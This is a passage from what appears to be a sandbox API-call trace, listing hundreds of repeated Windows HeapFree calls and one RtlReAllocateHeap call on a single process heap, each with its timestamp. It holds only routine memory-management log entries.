HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0224.652] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0224.653] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0224.654] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0224.654] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0224.654] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0224.655] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0224.655] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4085f58 | out: hHeap=0x4f0000) returned 1 [0224.655] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4085f58 | out: hHeap=0x4f0000) returned 1 [0224.655] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4085f58 | out: hHeap=0x4f0000) returned 1 [0224.655] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4085f58 | out: hHeap=0x4f0000) returned 1 [0224.656] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4085f58 | out: hHeap=0x4f0000) returned 1 [0224.656] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x57b378, Size=0x4000) returned 0x39a8450 [0224.786] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4085f58 | out: hHeap=0x4f0000) returned 1 [0224.786] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4085f58 | out: hHeap=0x4f0000) returned 1 [0224.786] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4085f58 | out: hHeap=0x4f0000) returned 1 [0224.787] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4085f58 | out: hHeap=0x4f0000) returned 1 [0224.788] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4085f58 | out: hHeap=0x4f0000) returned 1 [0224.788] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4085f58 | out: hHeap=0x4f0000) returned 1 [0224.788] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4085f58 | out: hHeap=0x4f0000) returned 1 [0224.789] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4085f58 | out: hHeap=0x4f0000) returned 1 [0224.789] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4085f58 | out: hHeap=0x4f0000) returned 1 [0224.789] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4085f58 | out: hHeap=0x4f0000) returned 1 [0224.790] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4085f58 | out: hHeap=0x4f0000) returned 1 [0224.790] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4085f58 | out: hHeap=0x4f0000) returned 1 [0224.790] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4085f58 | out: hHeap=0x4f0000) returned 1 [0224.791] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4085f58 | out: hHeap=0x4f0000) returned 1 [0224.791] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4085f58 | out: hHeap=0x4f0000) returned 1 [0224.791] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4085f58 | out: hHeap=0x4f0000) returned 1 [0224.792] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4085f58 | out: hHeap=0x4f0000) returned 1 [0224.792] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4085f58 | out: hHeap=0x4f0000) returned 1 [0224.792] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4085f58 | out: hHeap=0x4f0000) returned 1 [0224.793] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4085f58 | out: hHeap=0x4f0000) returned 1 [0224.793] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4085f58 | out: hHeap=0x4f0000) returned 1 [0224.794] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4085f58 | out: hHeap=0x4f0000) returned 1 [0224.794] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4075f50 | out: hHeap=0x4f0000) returned 1 [0224.795] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4085f58 | out: hHeap=0x4f0000) returned 1 [0224.795] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4075f50 | out: hHeap=0x4f0000) returned 1 [0224.797] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4085f58 | out: hHeap=0x4f0000) returned 1 [0224.797] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4075f50 | out: hHeap=0x4f0000) returned 1 [0224.798] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4075f50 | out: hHeap=0x4f0000) returned 1 [0224.798] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4075f50 | out: hHeap=0x4f0000) returned 1 [0224.800] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4075f50 | out: hHeap=0x4f0000) returned 1 [0224.801] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4085f58 | out: hHeap=0x4f0000) returned 1 [0224.801] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4075f50 | out: hHeap=0x4f0000) returned 1 [0224.805] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4085f58 | out: hHeap=0x4f0000) returned 1 [0224.805] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4075f50 | out: hHeap=0x4f0000) returned 1 [0224.806] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4075f50 | out: hHeap=0x4f0000) returned 1 [0224.806] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4075f50 | out: hHeap=0x4f0000) returned 1 [0224.810] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x410bca0 | out: hHeap=0x4f0000) returned 1 [0224.810] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4085f58 | out: hHeap=0x4f0000) returned 1 [0224.810] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4075f50 | out: hHeap=0x4f0000) returned 1 [0224.813] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4060738 | out: hHeap=0x4f0000) returned 1 [0224.813] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4060738 | out: hHeap=0x4f0000) returned 1 [0224.816] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4075f50 | out: hHeap=0x4f0000) returned 1 [0224.817] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x410bca0 | out: hHeap=0x4f0000) returned 1 [0224.817] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x410bca0 | out: hHeap=0x4f0000) returned 1 [0224.819] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4075f50 | out: hHeap=0x4f0000) returned 1 [0224.819] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x410bca0 | out: hHeap=0x4f0000) returned 1 [0224.820] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4075f50 | out: hHeap=0x4f0000) returned 1 [0224.821] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x410bca0 | out: hHeap=0x4f0000) returned 1 [0224.821] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4060738 | out: hHeap=0x4f0000) returned 1 [0224.822] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0224.824] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0224.825] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0224.825] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0224.825] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x410bca0 | out: hHeap=0x4f0000) returned 1 [0224.957] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40a5f68 | out: hHeap=0x4f0000) returned 1 [0224.959] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40a5f68 | out: hHeap=0x4f0000) returned 1 [0224.959] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40a5f68 | out: hHeap=0x4f0000) returned 1 [0224.960] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0224.960] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40a5f68 | out: hHeap=0x4f0000) returned 1 [0224.960] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40a5f68 | out: hHeap=0x4f0000) returned 1 [0224.960] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40a5f68 | out: hHeap=0x4f0000) returned 1 [0225.023] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40a5f68 | out: hHeap=0x4f0000) returned 1 [0225.043] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40a5f68 | out: hHeap=0x4f0000) returned 1 [0225.049] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40a5f68 | out: hHeap=0x4f0000) returned 1 [0225.053] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0225.053] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40a5f68 | out: hHeap=0x4f0000) returned 1 [0225.054] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40a5f68 | out: hHeap=0x4f0000) returned 1 [0225.060] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40a5f68 | out: hHeap=0x4f0000) returned 1 [0225.068] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40a5f68 | out: hHeap=0x4f0000) returned 1 [0225.068] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0225.069] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4085f58 | out: hHeap=0x4f0000) returned 1 [0225.070] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x410bca0 | out: hHeap=0x4f0000) returned 1 [0225.074] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4085f58 | out: hHeap=0x4f0000) returned 1 [0225.081] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4085f58 | out: hHeap=0x4f0000) returned 1 [0225.085] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0225.964] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40a5f68 | out: hHeap=0x4f0000) returned 1 [0225.965] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x417efe0 | out: hHeap=0x4f0000) returned 1 [0225.965] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40a5f68 | out: hHeap=0x4f0000) returned 1 [0225.965] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0225.967] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x411efd0 | out: hHeap=0x4f0000) returned 1 [0225.968] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x411efd0 | out: hHeap=0x4f0000) returned 1 [0225.970] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x411efd0 | out: hHeap=0x4f0000) returned 1 [0225.970] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x417efe0 | out: hHeap=0x4f0000) returned 1 [0226.195] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x417efe0 | out: hHeap=0x4f0000) returned 1 [0226.199] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x417efe0 | out: hHeap=0x4f0000) returned 1 [0226.225] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x417efe0 | out: hHeap=0x4f0000) returned 1 [0227.200] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x417efe0 | out: hHeap=0x4f0000) returned 1 [0227.200] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x417efe0 | out: hHeap=0x4f0000) returned 1 [0227.205] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0227.206] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0227.206] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0227.210] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0227.210] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x417efe0 | out: hHeap=0x4f0000) returned 1 [0227.217] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4060738 | out: hHeap=0x4f0000) returned 1 [0227.220] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4060738 | out: hHeap=0x4f0000) returned 1 [0227.640] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4060738 | out: hHeap=0x4f0000) returned 1 [0227.643] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4060738 | out: hHeap=0x4f0000) returned 1 [0227.644] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4060738 | out: hHeap=0x4f0000) returned 1 [0227.648] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0227.649] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0227.649] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0227.649] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0227.651] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0227.661] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0227.664] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0227.667] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0227.669] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0227.673] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0227.676] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0227.678] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0228.052] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0228.069] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0228.070] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0228.071] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0228.072] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0228.074] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0228.075] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0228.076] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0228.077] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0228.078] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0228.079] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0228.588] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0228.590] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0228.593] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0228.595] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0228.597] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0228.599] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0228.604] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0228.606] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0228.608] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0228.610] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0228.612] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0228.614] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0228.616] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0228.619] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0228.621] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0228.623] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0228.625] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0228.628] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0228.869] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0228.870] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0228.872] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0229.196] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0229.199] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0229.203] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0229.206] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0229.209] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0229.209] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40a5f68 | out: hHeap=0x4f0000) returned 1 [0229.211] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4060738 | out: hHeap=0x4f0000) returned 1 [0229.216] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4060738 | out: hHeap=0x4f0000) returned 1 [0229.222] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0229.224] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0229.226] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0229.229] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0229.231] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0229.233] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0229.235] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0229.237] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0229.239] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0229.241] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0229.244] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0229.246] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0229.457] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0229.459] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0229.460] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0229.461] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0229.546] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0229.548] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0229.549] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0229.551] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0229.554] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0229.556] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0229.558] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0229.560] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0229.562] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0229.564] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0229.566] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0229.568] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0229.570] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0229.572] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0229.574] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0229.576] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0229.578] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0229.580] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0229.582] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0229.756] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0229.958] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0230.045] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0230.110] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0230.111] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0230.112] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0230.113] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0230.114] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0230.115] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0230.115] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4060738 | out: hHeap=0x4f0000) returned 1 [0230.117] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0230.119] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0230.120] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0230.122] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0230.123] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0230.125] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0230.126] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0230.128] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0230.128] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0230.130] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0230.131] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0230.133] HeapFree (in: 